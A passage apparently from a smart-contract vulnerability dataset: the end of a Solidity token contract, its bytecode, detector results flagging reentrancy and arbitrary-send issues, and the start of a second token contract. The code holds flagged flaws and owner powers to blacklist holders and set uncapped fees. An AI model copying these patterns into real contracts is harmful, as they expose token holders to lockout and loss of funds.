= payable(0x87Bd5acfcbD87dA9c61A118334c15c15230d1045); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5e9 * 10**9; uint256 public _maxWalletSize = 15e9 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5e9 * 10**9); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 1); require(amountRefSell >= 0 && amountRefSell <= 1); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610596578063c5528490146105b6578063dd62ed3e146105d6578063ea1644d51461061c578063f2fde38b1461063c57600080fd5b80638da5cb5b1461051d5780638f9a55c01461053b57806395d89b41146105515780639e78fb4f1461058157600080fd5b8063790ca413116100dc578063790ca413146104bc5780637c519ffb146104d25780637d1db4a5146104e7578063881dce60146104fd57600080fd5b80636fc3eaec1461045257806370a0823114610467578063715018a61461048757806374010ece1461049c57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d25780634bf2c7c9146103f25780635d098b38146104125780636d8aa8f81461043257600080fd5b80632fd689e314610360578063313ce5671461037657806333251a0b1461039257806338eea22d146103b257600080fd5b806318160ddd116101c157806318160ddd146102e257806323b872dd1461030857806327c8f8351461032857806328bb665a1461033e57600080fd5b806306fdde03146101fe578063095ea7b3146102415780630f3a325f146102715780631694505e146102aa57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b506040805180820190915260088152670aec2d8d8cae840b60c31b60208201525b6040516102389190611d7e565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611df8565b61065c565b6040519015158152602001610238565b34801561027d57600080fd5b5061026161028c366004611e24565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b657600080fd5b506016546102ca906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102ee57600080fd5b50683635c9adc5dea000005b604051908152602001610238565b34801561031457600080fd5b50610261610323366004611e41565b610673565b34801561033457600080fd5b506102ca61dead81565b34801561034a57600080fd5b5061035e610359366004611e98565b6106dc565b005b34801561036c57600080fd5b506102fa601a5481565b34801561038257600080fd5b5060405160098152602001610238565b34801561039e57600080fd5b5061035e6103ad366004611e24565b61077b565b3480156103be57600080fd5b5061035e6103cd366004611f5d565b6107ea565b3480156103de57600080fd5b506017546102ca906001600160a01b031681565b3480156103fe57600080fd5b5061035e61040d366004611f7f565b61083b565b34801561041e57600080fd5b5061035e61042d366004611e24565b61086a565b34801561043e57600080fd5b5061035e61044d366004611f98565b6108c4565b34801561045e57600080fd5b5061035e61090c565b34801561047357600080fd5b506102fa610482366004611e24565b610936565b34801561049357600080fd5b5061035e610958565b3480156104a857600080fd5b5061035e6104b7366004611f7f565b6109cc565b3480156104c857600080fd5b506102fa600a5481565b3480156104de57600080fd5b5061035e610a10565b3480156104f357600080fd5b506102fa60185481565b34801561050957600080fd5b5061035e610518366004611f7f565b610a6a565b34801561052957600080fd5b506000546001600160a01b03166102ca565b34801561054757600080fd5b506102fa60195481565b34801561055d57600080fd5b506040805180820190915260078152660ae8298988aa8b60cb1b602082015261022b565b34801561058d57600080fd5b5061035e610ae6565b3480156105a257600080fd5b506102616105b1366004611df8565b610ccb565b3480156105c257600080fd5b5061035e6105d1366004611f5d565b610cd8565b3480156105e257600080fd5b506102fa6105f1366004611fba565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062857600080fd5b5061035e610637366004611f7f565b610d29565b34801561064857600080fd5b5061035e610657366004611e24565b610d67565b6000610669338484610e51565b5060015b92915050565b6000610680848484610f75565b6106d284336106cd85604051806060016040528060288152602001612195602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611621565b610e51565b5060019392505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b815260040161070690611ff3565b60405180910390fd5b60005b81518110156107775760016009600084848151811061073357610733612028565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061076f81612054565b915050610712565b5050565b6000546001600160a01b031633146107a55760405162461bcd60e51b815260040161070690611ff3565b6001600160a01b03811660009081526009602052604090205460ff16156107e7576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108145760405162461bcd60e51b815260040161070690611ff3565b600182111561082257600080fd5b600181111561083057600080fd5b600b91909155600d55565b6000546001600160a01b031633146108655760405162461bcd60e51b815260040161070690611ff3565b601155565b6015546001600160a01b0316336001600160a01b03161461088a57600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161070690611ff3565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461092c57600080fd5b476107e78161165b565b6001600160a01b03811660009081526002602052604081205461066d90611695565b6000546001600160a01b031633146109825760405162461bcd60e51b815260040161070690611ff3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109f65760405162461bcd60e51b815260040161070690611ff3565b674563918244f40000811015610a0b57600080fd5b601855565b6000546001600160a01b03163314610a3a5760405162461bcd60e51b815260040161070690611ff3565b601754600160a01b900460ff1615610a5157600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a8a57600080fd5b610a9330610936565b8111158015610aa25750600081115b610add5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610706565b6107e781611719565b6000546001600160a01b03163314610b105760405162461bcd60e51b815260040161070690611ff3565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b7057600080fd5b505afa158015610b84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba8919061206f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bf057600080fd5b505afa158015610c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c28919061206f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c7057600080fd5b505af1158015610c84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca8919061206f565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610669338484610f75565b6000546001600160a01b03163314610d025760405162461bcd60e51b815260040161070690611ff3565b600d821115610d1057600080fd5b600d811115610d1e57600080fd5b600c91909155600e55565b6000546001600160a01b03163314610d535760405162461bcd60e51b815260040161070690611ff3565b601954811015610d6257600080fd5b601955565b6000546001600160a01b03163314610d915760405162461bcd60e51b815260040161070690611ff3565b6001600160a01b038116610df65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610706565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610eb35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610706565b6001600160a01b038216610f145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610706565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fd95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610706565b6001600160a01b03821661103b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610706565b6000811161109d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610706565b6001600160a01b03821660009081526009602052604090205460ff16156110d65760405162461bcd60e51b81526004016107069061208c565b6001600160a01b03831660009081526009602052604090205460ff161561110f5760405162461bcd60e51b81526004016107069061208c565b3360009081526009602052604090205460ff161561113f5760405162461bcd60e51b81526004016107069061208c565b6000546001600160a01b0384811691161480159061116b57506000546001600160a01b03838116911614155b156114cb57601754600160a01b900460ff166111c95760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610706565b6017546001600160a01b0383811691161480156111f457506016546001600160a01b03848116911614155b156112a6576001600160a01b038216301480159061121b57506001600160a01b0383163014155b801561123557506015546001600160a01b03838116911614155b801561124f57506015546001600160a01b03848116911614155b156112a6576018548111156112a65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610706565b6017546001600160a01b038381169116148015906112d257506015546001600160a01b03838116911614155b80156112e757506001600160a01b0382163014155b80156112fe57506001600160a01b03821661dead14155b156113c5576018548111156113555760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610706565b6019548161136284610936565b61136c91906120b3565b106113c55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610706565b60006113d030610936565b601a5490915081118080156113ef5750601754600160a81b900460ff16155b801561140957506017546001600160a01b03868116911614155b801561141e5750601754600160b01b900460ff165b801561144357506001600160a01b03851660009081526006602052604090205460ff16155b801561146857506001600160a01b03841660009081526006602052604090205460ff16155b156114c857601154600090156114a3576114986064611492601154866118a290919063ffffffff16565b90611921565b90506114a381611963565b6114b56114b082856120cb565b611719565b4780156114c5576114c54761165b565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061150d57506001600160a01b03831660009081526006602052604090205460ff165b8061153f57506017546001600160a01b0385811691161480159061153f57506017546001600160a01b03848116911614155b1561154c5750600061160f565b6017546001600160a01b03858116911614801561157757506016546001600160a01b03848116911614155b156115d2576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156115d2576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156115fd57506016546001600160a01b03858116911614155b1561160f57600d54600f55600e546010555b61161b84848484611970565b50505050565b600081848411156116455760405162461bcd60e51b81526004016107069190611d7e565b50600061165284866120cb565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610777573d6000803e3d6000fd5b60006007548211156116fc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610706565b60006117066119a4565b90506117128382611921565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061176157611761612028565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117b557600080fd5b505afa1580156117c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ed919061206f565b8160018151811061180057611800612028565b6001600160a01b0392831660209182029290920101526016546118269130911684610e51565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061185f9085906000908690309042906004016120e2565b600060405180830381600087803b15801561187957600080fd5b505af115801561188d573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826118b15750600061066d565b60006118bd8385612153565b9050826118ca8583612172565b146117125760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610706565b600061171283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c7565b6107e73061dead83610f75565b8061197d5761197d6119f5565b611988848484611a3a565b8061161b5761161b601254600f55601354601055601454601155565b60008060006119b1611b31565b90925090506119c08282611921565b9250505090565b600081836119e85760405162461bcd60e51b81526004016107069190611d7e565b5060006116528486612172565b600f54158015611a055750601054155b8015611a115750601154155b15611a1857565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611a4c87611b73565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a7e9087611bd0565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611aad9086611c12565b6001600160a01b038916600090815260026020526040902055611acf81611c71565b611ad98483611cbb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b1e91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611b4d8282611921565b821015611b6a57505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611b908a600f54601054611cdf565b9250925092506000611ba06119a4565b90506000806000611bb38e878787611d2e565b919e509c509a509598509396509194505050505091939550919395565b600061171283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611621565b600080611c1f83856120b3565b9050838110156117125760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610706565b6000611c7b6119a4565b90506000611c8983836118a2565b30600090815260026020526040902054909150611ca69082611c12565b30600090815260026020526040902055505050565b600754611cc89083611bd0565b600755600854611cd89082611c12565b6008555050565b6000808080611cf3606461149289896118a2565b90506000611d0660646114928a896118a2565b90506000611d1e82611d188b86611bd0565b90611bd0565b9992985090965090945050505050565b6000808080611d3d88866118a2565b90506000611d4b88876118a2565b90506000611d5988886118a2565b90506000611d6b82611d188686611bd0565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611dab57858101830151858201604001528201611d8f565b81811115611dbd576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107e757600080fd5b8035611df381611dd3565b919050565b60008060408385031215611e0b57600080fd5b8235611e1681611dd3565b946020939093013593505050565b600060208284031215611e3657600080fd5b813561171281611dd3565b600080600060608486031215611e5657600080fd5b8335611e6181611dd3565b92506020840135611e7181611dd3565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611eab57600080fd5b823567ffffffffffffffff80821115611ec357600080fd5b818501915085601f830112611ed757600080fd5b813581811115611ee957611ee9611e82565b8060051b604051601f19603f83011681018181108582111715611f0e57611f0e611e82565b604052918252848201925083810185019188831115611f2c57600080fd5b938501935b82851015611f5157611f4285611de8565b84529385019392850192611f31565b98975050505050505050565b60008060408385031215611f7057600080fd5b50508035926020909101359150565b600060208284031215611f9157600080fd5b5035919050565b600060208284031215611faa57600080fd5b8135801515811461171257600080fd5b60008060408385031215611fcd57600080fd5b8235611fd881611dd3565b91506020830135611fe881611dd3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156120685761206861203e565b5060010190565b60006020828403121561208157600080fd5b815161171281611dd3565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600082198211156120c6576120c661203e565b500190565b6000828210156120dd576120dd61203e565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156121325784516001600160a01b03168352938301939183019160010161210d565b50506001600160a01b03969096166060850152505050608001529392505050565b600081600019048311821515161561216d5761216d61203e565b500290565b60008261218f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122082eea5fab040d1cea183d9b384209bbcc0279c6257385db5f983d5d0c1932bfe64736f6c63430008080033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,428
0xc6a588bd56a81e4c4f9ba76c4d4e90b2ab8cb8d0
//SPDX-License-Identifier: MIT pragma solidity ^0.8.13; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract GalaxyInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) public bots; uint256 private _tTotal = 1000000000 * 10**8; uint256 private _contractAutoLpLimitToken = 1000000000000000000; uint256 private _taxFee; uint256 private _buyTaxMarketing = 8; uint256 private _sellTaxMarketing = 3; uint256 private _autoLpFee = 3; uint256 private _LpPercentBase100 = 35; address payable private _taxWallet; address payable private _contractPayment; uint256 private _maxTxAmount; uint256 private _maxWallet; string private constant _name = "Galaxy Inu"; string private constant _symbol = "GLXI"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; event SwapAndLiquify( uint256 tokensSwapped, uint256 coinReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _contractPayment = payable(address(this)); _taxFee = _buyTaxMarketing + _autoLpFee; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount = _tTotal.mul(2).div(10**2); _maxWallet = _tTotal.mul(4).div(10**2); _balance[address(this)] = _tTotal; emit Transfer(address(0x0), address(this), _tTotal); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function isInSwap() public view returns (bool) { return _inSwap; } function isSwapEnabled() public view returns (bool) { return _swapEnabled; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setSellMarketingTax(uint256 taxFee) external onlyOwner() { _sellTaxMarketing = taxFee; } function setBuyMarketingTax(uint256 taxFee) external onlyOwner() { _buyTaxMarketing = taxFee; } function setAutoLpFee(uint256 taxFee) external onlyOwner() { _autoLpFee = taxFee; } function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() { _contractAutoLpLimitToken = newLimit; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address 